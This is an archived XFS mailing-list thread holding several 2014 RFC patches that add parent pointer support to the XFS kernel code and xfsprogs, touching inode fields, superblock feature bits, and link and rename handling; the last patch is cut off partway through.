+++ b/fs/xfs/xfs_fsops.c @@ -104,7 +104,9 @@ xfs_fs_geometry( (xfs_sb_version_hascrc(&mp->m_sb) ? XFS_FSOP_GEOM_FLAGS_V5SB : 0) | (xfs_sb_version_hasftype(&mp->m_sb) ? - XFS_FSOP_GEOM_FLAGS_FTYPE : 0); + XFS_FSOP_GEOM_FLAGS_FTYPE : 0) | + (xfs_sb_version_hasparent(&mp->m_sb) ? + XFS_FSOP_GEOM_FLAGS_PARENT : 0); geo->logsectsize = xfs_sb_version_hassector(&mp->m_sb) ? mp->m_sb.sb_logsectsize : BBSIZE; geo->rtsectsize = mp->m_sb.sb_blocksize; From tinguely@eagdhcp-232-151.americas.sgi.com Wed Jan 15 18:30:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5AB6329E1A for ; Wed, 15 Jan 2014 18:30:52 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay2.corp.sgi.com (Postfix) with ESMTP id 40534304032 for ; Wed, 15 Jan 2014 16:30:52 -0800 (PST) Received: from eagdhcp-232-151.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s0G0UrcL003620 for ; Wed, 15 Jan 2014 18:30:53 -0600 (CST) (envelope-from tinguely@eagdhcp-232-151.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5/Submit) id s0G0UrQh003619; Wed, 15 Jan 2014 18:30:53 -0600 (CST) (envelope-from tinguely) Message-Id: <20140116000851.652857621@sgi.com> User-Agent: quilt/0.51-1 Date: Wed, 15 Jan 2014 16:00:18 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [RFC 06/17] xfs: (parent ptr) add parent pointer support to inode v5 References: <20140115220012.624438534@sgi.com> Content-Disposition: inline; filename=06-pptr-add-inode-incore.patch Add the fields to inode v5 to track the parent inode number and this entry's offset in the parent inode leaving the entries in disk format. --- fs/xfs/xfs_dinode.h | 4 +++- fs/xfs/xfs_inode_buf.c | 6 ++++++ fs/xfs/xfs_log_format.h | 4 +++- 3 files changed, 12 insertions(+), 2 deletions(-) Index: b/fs/xfs/xfs_dinode.h =================================================================== --- a/fs/xfs/xfs_dinode.h +++ b/fs/xfs/xfs_dinode.h @@ -79,7 +79,9 @@ typedef struct xfs_dinode { __be64 di_changecount; /* number of attribute changes */ __be64 di_lsn; /* flush sequence */ __be64 di_flags2; /* more random flags */ - __u8 di_pad2[16]; /* more padding for future expansion */ + __be64 di_parent; /* inode of parent directory */ + __be32 di_poffset; /* offset into parent directory */ + __u8 di_pad2[4]; /* more padding for future expansion */ /* fields only written to during inode creation */ xfs_timestamp_t di_crtime; /* time created */ Index: b/fs/xfs/xfs_inode_buf.c =================================================================== --- a/fs/xfs/xfs_inode_buf.c +++ b/fs/xfs/xfs_inode_buf.c @@ -238,6 +238,9 @@ xfs_dinode_from_disk( to->di_lsn = be64_to_cpu(from->di_lsn); memcpy(to->di_pad2, from->di_pad2, sizeof(to->di_pad2)); uuid_copy(&to->di_uuid, &from->di_uuid); + /* parent pointer information is left in disk order */ + to->di_parent = from->di_parent; + to->di_poffset = from->di_poffset; } } @@ -285,6 +288,9 @@ xfs_dinode_to_disk( memcpy(to->di_pad2, from->di_pad2, sizeof(to->di_pad2)); uuid_copy(&to->di_uuid, &from->di_uuid); to->di_flushiter = 0; + /* parent pointer information is in disk order */ + to->di_parent = from->di_parent; + to->di_poffset = from->di_poffset; } else { to->di_flushiter = cpu_to_be16(from->di_flushiter); } Index: b/fs/xfs/xfs_log_format.h =================================================================== --- a/fs/xfs/xfs_log_format.h +++ b/fs/xfs/xfs_log_format.h @@ -399,7 +399,9 @@ typedef struct xfs_icdinode { __uint64_t di_changecount; /* number of attribute changes */ xfs_lsn_t di_lsn; /* flush sequence */ __uint64_t di_flags2; /* more random flags */ - __uint8_t di_pad2[16]; /* more padding for future expansion */ + __uint64_t di_parent; /* inode of parent directory */ + __uint32_t di_poffset; /* offset into parent directory */ + __uint8_t di_pad2[4]; /* more padding for future expansion */ /* fields only written to during inode creation */ xfs_ictimestamp_t di_crtime; /* time created */ From tinguely@eagdhcp-232-151.americas.sgi.com Wed Jan 15 18:30:52 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0B49629DFE for ; Wed, 15 Jan 2014 18:30:52 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay2.corp.sgi.com (Postfix) with ESMTP id F359930406A for ; Wed, 15 Jan 2014 16:30:51 -0800 (PST) Received: from eagdhcp-232-151.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s0G0Ur1q003612 for ; Wed, 15 Jan 2014 18:30:53 -0600 (CST) (envelope-from tinguely@eagdhcp-232-151.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5/Submit) id s0G0UrTj003611; Wed, 15 Jan 2014 18:30:53 -0600 (CST) (envelope-from tinguely) Message-Id: <20140116000851.464934231@sgi.com> User-Agent: quilt/0.51-1 Date: Wed, 15 Jan 2014 16:00:16 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [RFC 04/17] xfs: (parent ptr) add parent pointer support to xfs_sb.h References: <20140115220012.624438534@sgi.com> Content-Disposition: inline; filename=04-pptr-add-xfs_sb_version_hasparent.patch Add the parent pointer support to the superblock version 5. --- fs/xfs/xfs_sb.h | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) Index: b/fs/xfs/xfs_sb.h =================================================================== --- a/fs/xfs/xfs_sb.h +++ b/fs/xfs/xfs_sb.h @@ -89,6 +89,7 @@ struct xfs_trans; #define XFS_SB_VERSION2_OKREALFBITS \ (XFS_SB_VERSION2_LAZYSBCOUNTBIT | \ XFS_SB_VERSION2_ATTR2BIT | \ + XFS_SB_VERSION2_PARENTBIT | \ XFS_SB_VERSION2_PROJID32BIT | \ XFS_SB_VERSION2_FTYPE) #define XFS_SB_VERSION2_OKSASHFBITS \ @@ -596,8 +597,10 @@ xfs_sb_has_ro_compat_feature( } #define XFS_SB_FEAT_INCOMPAT_FTYPE (1 << 0) /* filetype in dirent */ +#define XFS_SB_FEAT_INCOMPAT_PARENT (2 << 0) /* parent inode ptr */ #define XFS_SB_FEAT_INCOMPAT_ALL \ - (XFS_SB_FEAT_INCOMPAT_FTYPE) + (XFS_SB_FEAT_INCOMPAT_FTYPE | \ + XFS_SB_FEAT_INCOMPAT_PARENT) #define XFS_SB_FEAT_INCOMPAT_UNKNOWN ~XFS_SB_FEAT_INCOMPAT_ALL static inline bool @@ -639,6 +642,12 @@ static inline int xfs_sb_version_hasftyp (sbp->sb_features2 & XFS_SB_VERSION2_FTYPE)); } +static inline int xfs_sb_version_hasparent(struct xfs_sb *sbp) +{ + return (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5 && + xfs_sb_has_incompat_feature(sbp, XFS_SB_FEAT_INCOMPAT_PARENT)); +} + /* * end of superblock version macros */ From tinguely@eagdhcp-232-151.americas.sgi.com Wed Jan 15 18:30:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B103529DF8 for ; Wed, 15 Jan 2014 18:30:52 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay2.corp.sgi.com (Postfix) with ESMTP id 95E30304032 for ; Wed, 15 Jan 2014 16:30:52 -0800 (PST) Received: from eagdhcp-232-151.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s0G0Usri003632 for ; Wed, 15 Jan 2014 18:30:54 -0600 (CST) (envelope-from tinguely@eagdhcp-232-151.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5/Submit) id s0G0UsQS003631; Wed, 15 Jan 2014 18:30:54 -0600 (CST) (envelope-from tinguely) Message-Id: <20140116000851.941188004@sgi.com> User-Agent: quilt/0.51-1 Date: Wed, 15 Jan 2014 16:00:21 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [RFC 09/17] xfs: (parent ptr) add parent pointer support to xfs_link References: <20140115220012.624438534@sgi.com> Content-Disposition: inline; filename=09-pptr-add-to_xfs_link.patch Add the parent inode / offset entry for a new link. If the parent inode pointer entries are not free, then add the entry as an extended attribute of ATTR_PARENT type. The entry uses an unique name composed of the 64 bit inode and the 32 bit offsets. No extend attribute value is used. --- fs/xfs/xfs_inode.c | 43 ++++++++++++++++++++++++++++++++++++++++--- fs/xfs/xfs_parent.h | 39 +++++++++++++++++++++++++++++++++++++++ 2 files changed, 79 insertions(+), 3 deletions(-) Index: b/fs/xfs/xfs_inode.c =================================================================== --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -51,6 +51,7 @@ #include "xfs_trans_priv.h" #include "xfs_log.h" #include "xfs_bmap_btree.h" +#include "xfs_parent.h" kmem_zone_t *xfs_inode_zone; @@ -1358,6 +1359,7 @@ xfs_link( int cancel_flags; int committed; int resblks; + uint offset; trace_xfs_link(tdp, target_name); @@ -1407,12 +1409,26 @@ xfs_link( if (error) goto error_return; - xfs_bmap_init(&free_list, &first_block); + xfs_bmap_init(&free_list, &first_block); error = xfs_dir_createname(tp, tdp, target_name, sip->i_ino, - &first_block, &free_list, resblks, NULL); + &first_block, &free_list, resblks, &offset); if (error) goto abort_return; + + if (xfs_sb_version_hasparent(&mp->m_sb) && + sip->i_d.di_parent == NULLFSINO) { + /* + * store the parent information in the inode if the fields + * are empty. zero the offset as a flag to not add the + * information in an extended attribute. + */ + sip->i_d.di_parent = cpu_to_be64(tdp->i_ino); + sip->i_d.di_poffset = cpu_to_be32(offset); + xfs_trans_log_inode(tp, sip, XFS_ILOG_CORE); + offset = 0; + } + xfs_trans_ichgtime(tp, tdp, XFS_ICHGTIME_MOD | XFS_ICHGTIME_CHG); xfs_trans_log_inode(tp, tdp, XFS_ILOG_CORE); @@ -1435,7 +1451,28 @@ xfs_link( goto abort_return; } - return xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + if (error) + return error; + + if (xfs_sb_version_hasparent(&mp->m_sb) && offset) { + struct xfs_pattr p_entry; + struct xfs_name p_name; + + /* + * The parent pointer information could not be stored + * inode core, and must be stored in an extended attribute. + */ + xfs_parent_pname(tdp->i_ino, offset, &p_entry, &p_name); + error = xfs_attr_set(sip, (char *) &p_name, NULL, 0, + ATTR_PARENT|ATTR_CREATE); + if (error) + xfs_notice(mp, + "%s: attr %llx/%x failed inode %llx %d\n", + __func__, tdp->i_ino, offset, sip->i_ino, + error); + } + return error; abort_return: cancel_flags |= XFS_TRANS_ABORT; Index: b/fs/xfs/xfs_parent.h =================================================================== --- /dev/null +++ b/fs/xfs/xfs_parent.h @@ -0,0 +1,39 @@ +/* + * Copyright (c) 2014 SGI + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef __XFS_PARENT_H__ +#define __XFS_PARENT_H__ + +#define XFSREMOVESRC (1 << 0) +#define XFSREMOVETAR (1 << 1) +#define XFSADD (1 << 2) + +struct xfs_pattr { + __be64 p_ino; + __be32 p_offset; +} __attribute__((packed)); + +static inline void xfs_parent_pname(xfs_ino_t ino, __uint32_t off, struct xfs_pattr *pe, struct xfs_name *pn) +{ + pe->p_ino = cpu_to_be64(ino); + pe->p_offset = cpu_to_be32(off); + pn->name = (char *)pe; + pn->len = sizeof(struct xfs_pattr); +} +#endif /* __XFS_PARENT_H__ */ + From tinguely@eagdhcp-232-151.americas.sgi.com Wed Jan 15 18:30:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0176B29DF9 for ; Wed, 15 Jan 2014 18:30:53 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay2.corp.sgi.com (Postfix) with ESMTP id E5500304032 for ; Wed, 15 Jan 2014 16:30:52 -0800 (PST) Received: from eagdhcp-232-151.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s0G0UsX0003640 for ; Wed, 15 Jan 2014 18:30:54 -0600 (CST) (envelope-from tinguely@eagdhcp-232-151.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5/Submit) id s0G0UsLQ003639; Wed, 15 Jan 2014 18:30:54 -0600 (CST) (envelope-from tinguely) Message-Id: <20140116000852.129897758@sgi.com> User-Agent: quilt/0.51-1 Date: Wed, 15 Jan 2014 16:00:23 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [RFC 11/17] xfs: (parent ptr) add parent pointer support to xfs_rename References: <20140115220012.624438534@sgi.com> Content-Disposition: inline; filename=11-pptr-add-incore-to-rename.patch Add the parent inode / offset support for xfs_rename. This could add the new extry to inode core, if the entry is empty or the old entry was stored there, else store the new entry in an extended attribute. Removal of the old entry from an inode core or extended attribute is also done. --- fs/xfs/Makefile | 1 fs/xfs/xfs_inode.c | 69 +++++++++++++++++++++- fs/xfs/xfs_parent.c | 158 ++++++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_parent.h | 5 + 4 files changed, 228 insertions(+), 5 deletions(-) Index: b/fs/xfs/Makefile =================================================================== --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -49,6 +49,7 @@ xfs-y += xfs_aops.o \ xfs_message.o \ xfs_mount.o \ xfs_mru_cache.o \ + xfs_parent.o \ xfs_super.o \ xfs_symlink.o \ xfs_trans.o \ Index: b/fs/xfs/xfs_inode.c =================================================================== --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -2728,6 +2728,9 @@ xfs_rename( xfs_inode_t *inodes[4]; int spaceres; int num_inodes; + int need_action = 0; + uint src_offset = 0; + uint tar_offset = 0; trace_xfs_rename(src_dp, target_dp, src_name, target_name); @@ -2808,8 +2811,8 @@ xfs_rename( * to account for the ".." reference from the new entry. */ error = xfs_dir_createname(tp, target_dp, target_name, - src_ip->i_ino, &first_block, - &free_list, spaceres, NULL); + src_ip->i_ino, &first_block, + &free_list, spaceres, &tar_offset); if (error == ENOSPC) goto error_return; if (error) @@ -2851,7 +2854,7 @@ xfs_rename( */ error = xfs_dir_replace(tp, target_dp, target_name, src_ip->i_ino, &first_block, - &free_list, spaceres, NULL); + &free_list, spaceres, &tar_offset); if (error) goto abort_return; @@ -2919,10 +2922,16 @@ xfs_rename( } error = xfs_dir_removename(tp, src_dp, src_name, src_ip->i_ino, - &first_block, &free_list, spaceres, NULL); + &first_block, &free_list, spaceres, + &src_offset); if (error) goto abort_return; + if (xfs_sb_version_hasparent(&mp->m_sb)) + need_action = xfs_pptr_rename(mp, tp, src_dp, target_dp, + src_ip, target_ip, src_offset, + tar_offset); + xfs_trans_ichgtime(tp, src_dp, XFS_ICHGTIME_MOD | XFS_ICHGTIME_CHG); xfs_trans_log_inode(tp, src_dp, XFS_ILOG_CORE); if (new_parent) @@ -2949,7 +2958,57 @@ xfs_rename( * trans_commit will unlock src_ip, target_ip & decrement * the vnode references. */ - return xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + if (error) + return error; + + if (xfs_sb_version_hasparent(&mp->m_sb) && need_action) { + struct xfs_pattr p_entry; + struct xfs_name p_name; + + if ((need_action & XFSREMOVESRC) /* && + atomic_read(&VFS_I(src_ip)->i_count) > 1 && + src_ip->i_d.di_nlink != 0*/) { + xfs_parent_pname(src_dp->i_ino, src_offset, &p_entry, + &p_name); + error = xfs_attr_remove(src_ip, (char *) &p_name, + ATTR_PARENT); + if (error) + xfs_notice(mp, + "%s: rm src attr %llx/%x failed inode %llx %d\n", + __func__, src_dp->i_ino, src_offset, + src_ip->i_ino, error); + } + + if (target_ip && (need_action & XFSREMOVETAR) && + atomic_read(&VFS_I(target_ip)->i_count) > 1 && + target_ip->i_d.di_nlink != 0) { + xfs_parent_pname(target_dp->i_ino, tar_offset, &p_entry, + &p_name); + error = xfs_attr_remove(target_ip, (char *) &p_name, + ATTR_PARENT); + if (error) + xfs_notice(mp, + "%s: rm tar attr %llx/%x failed inode %llx %d\n", + __func__, target_dp->i_ino, + tar_offset, target_ip->i_ino, error); + } + + if (need_action & XFSADD) { + xfs_parent_pname(target_dp->i_ino, tar_offset, &p_entry, + &p_name); + error = xfs_attr_set(src_ip, (char *) &p_name, NULL, 0, + ATTR_PARENT|ATTR_CREATE); + if (error) { + xfs_notice(mp, + "%s: rm add attr %llx/%x failed inode %llx %d\n", + __func__, target_dp->i_ino, tar_offset, src_ip->i_ino, + error); +// goto unlock_return; + } + } + } + return error; abort_return: cancel_flags |= XFS_TRANS_ABORT; Index: b/fs/xfs/xfs_parent.c =================================================================== --- /dev/null +++ b/fs/xfs/xfs_parent.c @@ -0,0 +1,158 @@ +/* + * Copyright (c) 2014 SGI + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#include "xfs.h" +#include "xfs_fs.h" +#include "xfs_shared.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" +#include "xfs_inum.h" +#include "xfs_sb.h" +#include "xfs_ag.h" +#include "xfs_mount.h" +#include "xfs_inode.h" +#include "xfs_da_format.h" +#include "xfs_da_btree.h" +#include "xfs_dir2.h" +#include "xfs_attr_sf.h" +#include "xfs_attr.h" +#include "xfs_trans_space.h" +#include "xfs_trans.h" +#include "xfs_buf_item.h" +#include "xfs_inode_item.h" +#include "xfs_ialloc.h" +#include "xfs_bmap.h" +#include "xfs_bmap_util.h" +#include "xfs_error.h" +#include "xfs_quota.h" +#include "xfs_dinode.h" +#include "xfs_filestream.h" +#include "xfs_cksum.h" +#include "xfs_dir2.h" +#include "xfs_dir2_priv.h" +#include "xfs_ioctl.h" +#include "xfs_trace.h" +#include "xfs_icache.h" +#include "xfs_symlink.h" +#include "xfs_trans_priv.h" +#include "xfs_log.h" +#include "xfs_bmap_btree.h" +#include "xfs_parent.h" + +int +xfs_pptr_rename( + struct xfs_mount *mp, + struct xfs_trans *tp, + struct xfs_inode *src_dp, + struct xfs_inode *target_dp, + struct xfs_inode *src_ip, + struct xfs_inode *target_ip, + uint src_offset, + uint tar_offset) +{ + int64_t be_src_ino = cpu_to_be64(src_dp->i_ino); + __uint64_t be_tar_ino = cpu_to_be64(target_dp->i_ino); + __uint32_t be_src_offset = cpu_to_be32(src_offset); + __uint32_t be_tar_offset = cpu_to_be32(tar_offset); + + ASSERT(xfs_sb_version_hasparent(&mp->m_sb)); + + if (target_ip && + src_ip->i_d.di_parent == be_tar_ino && + src_ip->i_d.di_poffset == be_tar_offset) { + /* + * If the target exists and is already in the source + * inode entry, then just remove the source entry. + */ + return XFSREMOVESRC; + + } + + if (src_ip->i_d.di_parent == be_src_ino && + src_ip->i_d.di_poffset == be_src_offset) { + /* + * The destination contains the old entry, then replace + * it with the new entry. Remove the target name if it + * existed. + */ + src_ip->i_d.di_parent = be_tar_ino; + src_ip->i_d.di_poffset = be_tar_offset; + xfs_trans_log_inode(tp, src_ip, XFS_ILOG_CORE); + + if (target_ip) { + if (target_ip != src_ip && + target_ip->i_d.di_parent == be_tar_ino && + target_ip->i_d.di_poffset == be_tar_offset) { + target_ip->i_d.di_parent = NULLFSINO; + target_ip->i_d.di_poffset = 0; + xfs_trans_log_inode(tp, target_ip, + XFS_ILOG_CORE); + return 0; + } else + return XFSREMOVETAR; + } + return 0; + } + + if (src_ip->i_d.di_parent == NULLFSINO) { + /* place entry in empty inode area */ + src_ip->i_d.di_parent = be_tar_ino; + src_ip->i_d.di_poffset = be_tar_offset; + xfs_trans_log_inode(tp, src_ip, XFS_ILOG_CORE); + + /* + * we know the old src is in the extend attribute so + * remove it. if the target exist, remove it also. + */ + if (target_ip) { + if (target_ip != src_ip && + target_ip->i_d.di_parent == be_tar_ino && + target_ip->i_d.di_poffset == be_tar_offset) { + target_ip->i_d.di_parent = NULLFSINO; + target_ip->i_d.di_poffset = 0; + xfs_trans_log_inode(tp, target_ip, + XFS_ILOG_CORE); + return XFSREMOVESRC; + } else + return XFSREMOVETAR | XFSREMOVESRC; + } else + return XFSREMOVESRC; + } + + if (src_ip != target_ip) { + if (target_ip) { + if (target_ip->i_d.di_parent == be_tar_ino && + target_ip->i_d.di_poffset == be_tar_offset) { + target_ip->i_d.di_parent = NULLFSINO; + target_ip->i_d.di_poffset = 0; + xfs_trans_log_inode(tp, target_ip, + XFS_ILOG_CORE); + return XFSREMOVESRC | XFSADD; + } else + return XFSREMOVETAR | XFSREMOVESRC | XFSADD; + } else + return XFSREMOVESRC | XFSADD; + } + + /* + * The extended attribute already exists in the src_ip. + * Remove the src name from the extend attribute + */ + return XFSREMOVESRC; +} Index: b/fs/xfs/xfs_parent.h =================================================================== --- a/fs/xfs/xfs_parent.h +++ b/fs/xfs/xfs_parent.h @@ -35,5 +35,10 @@ static inline void xfs_parent_pname(xfs_ pn->name = (char *)pe; pn->len = sizeof(struct xfs_pattr); } + +int xfs_pptr_rename(struct xfs_mount *mp, struct xfs_trans *tp, + struct xfs_inode *src_dp, struct xfs_inode *target_dp, + struct xfs_inode *src_ip, struct xfs_inode *target_ip, + uint src_offset, uint tar_offset); #endif /* __XFS_PARENT_H__ */ From tinguely@eagdhcp-232-151.americas.sgi.com Wed Jan 15 18:30:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 19F7929E19 for ; Wed, 15 Jan 2014 18:30:53 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0E55F8F8037 for ; Wed, 15 Jan 2014 16:30:53 -0800 (PST) Received: from eagdhcp-232-151.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s0G0UsdT003648 for ; Wed, 15 Jan 2014 18:30:54 -0600 (CST) (envelope-from tinguely@eagdhcp-232-151.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5/Submit) id s0G0UsST003647; Wed, 15 Jan 2014 18:30:54 -0600 (CST) (envelope-from tinguely) Message-Id: <20140116000852.319706063@sgi.com> User-Agent: quilt/0.51-1 Date: Wed, 15 Jan 2014 16:00:25 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [RFC 13/17] xfsprogs: add parent pointer support into Linux 3.10 inode 3 References: <20140115220012.624438534@sgi.com> Content-Disposition: inline; filename=01-xfsprogs-add-parent-pointers.patch Add parent pointer support into the inode version 3 (CRC inode). Make changes to mkfs.xfs to enable parent pointers using the "-i parent=1" option. --- include/xfs_dinode.h | 4 +++- include/xfs_log_format.h | 4 +++- include/xfs_sb.h | 14 ++++++++++++-- libxfs/xfs_ialloc.c | 12 ++++++++++++ man/man8/mkfs.xfs.8 | 6 ++++++ mkfs/xfs_mkfs.c | 24 +++++++++++++++++++----- 6 files changed, 55 insertions(+), 9 deletions(-) Index: b/include/xfs_dinode.h =================================================================== --- a/include/xfs_dinode.h +++ b/include/xfs_dinode.h @@ -79,7 +79,9 @@ typedef struct xfs_dinode { __be64 di_changecount; /* number of attribute changes */ __be64 di_lsn; /* flush sequence */ __be64 di_flags2; /* more random flags */ - __u8 di_pad2[16]; /* more padding for future expansion */ + __be64 di_parent; /* parent directory inode */ + __be32 di_poffset; /* offset into parent directory */ + __u8 di_pad2[4]; /* more padding for future expansion */ /* fields only written to during inode creation */ xfs_timestamp_t di_crtime; /* time created */ Index: b/include/xfs_log_format.h =================================================================== --- a/include/xfs_log_format.h +++ b/include/xfs_log_format.h @@ -567,7 +567,9 @@ typedef struct xfs_icdinode { __uint64_t di_changecount; /* number of attribute changes */ xfs_lsn_t di_lsn; /* flush sequence */ __uint64_t di_flags2; /* more random flags */ - __uint8_t di_pad2[16]; /* more padding for future expansion */ + __uint64_t di_parent; /* parent directory inode */ + __uint32_t di_poffset; /* offset into parent directory */ + __uint8_t di_pad2[4]; /* more padding for future expansion */ /* fields only written to during inode creation */ xfs_ictimestamp_t di_crtime; /* time created */ Index: b/include/xfs_sb.h =================================================================== --- a/include/xfs_sb.h +++ b/include/xfs_sb.h @@ -90,6 +90,7 @@ struct xfs_trans; (XFS_SB_VERSION2_LAZYSBCOUNTBIT | \ XFS_SB_VERSION2_ATTR2BIT | \ XFS_SB_VERSION2_PROJID32BIT | \ + XFS_SB_VERSION2_PARENTBIT | \ XFS_SB_VERSION2_FTYPE) #define XFS_SB_VERSION2_OKSASHFBITS \ (0) @@ -328,7 +329,6 @@ typedef enum { XFS_SB_FEATURES_RO_COMPAT | XFS_SB_FEATURES_INCOMPAT | \ XFS_SB_FEATURES_LOG_INCOMPAT | XFS_SB_PQUOTINO) - /* * Misc. Flags - warning - these will be cleared by xfs_repair unless * a feature bit is set when the flag is used. @@ -596,8 +596,10 @@ xfs_sb_has_ro_compat_feature( } #define XFS_SB_FEAT_INCOMPAT_FTYPE (1 << 0) /* filetype in dirent */ +#define XFS_SB_FEAT_INCOMPAT_PARENT (2 << 0) /* parent inode ptrs */ #define XFS_SB_FEAT_INCOMPAT_ALL \ - (XFS_SB_FEAT_INCOMPAT_FTYPE) + (XFS_SB_FEAT_INCOMPAT_FTYPE | \ + XFS_SB_FEAT_INCOMPAT_PARENT) #define XFS_SB_FEAT_INCOMPAT_UNKNOWN ~XFS_SB_FEAT_INCOMPAT_ALL static inline bool @@ -639,6 +641,14 @@ static inline int xfs_sb_version_hasftyp (sbp->sb_features2 & XFS_SB_VERSION2_FTYPE)); } +static inline int xfs_sb_version_hasparent(struct xfs_sb *sbp) +{ + return (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5 && + xfs_sb_has_incompat_feature(sbp, XFS_SB_FEAT_INCOMPAT_PARENT)) || + (xfs_sb_version_hasmorebits(sbp) && + (sbp->sb_features2 & XFS_SB_VERSION2_PARENTBIT)); +} + /* * end of superblock version macros */ Index: b/libxfs/xfs_ialloc.c =================================================================== --- a/libxfs/xfs_ialloc.c +++ b/libxfs/xfs_ialloc.c @@ -233,6 +233,18 @@ xfs_ialloc_inode_init( free->di_next_unlinked = cpu_to_be32(NULLAGINO); if (version == 3) { + if (xfs_sb_version_hasparent(&mp->m_sb) && + (mp->m_sb.sb_rootino == NULLFSINO || + mp->m_sb.sb_rootino == ino)) { + /* + * set the parent pointer information + * in the root inode. + */ + free->di_parent = cpu_to_be64(ino); + free->di_poffset = + cpu_to_be32(xfs_dir3_data_dotdot_offset(mp) + >> XFS_DIR2_DATA_ALIGN_LOG); + } free->di_ino = cpu_to_be64(ino); 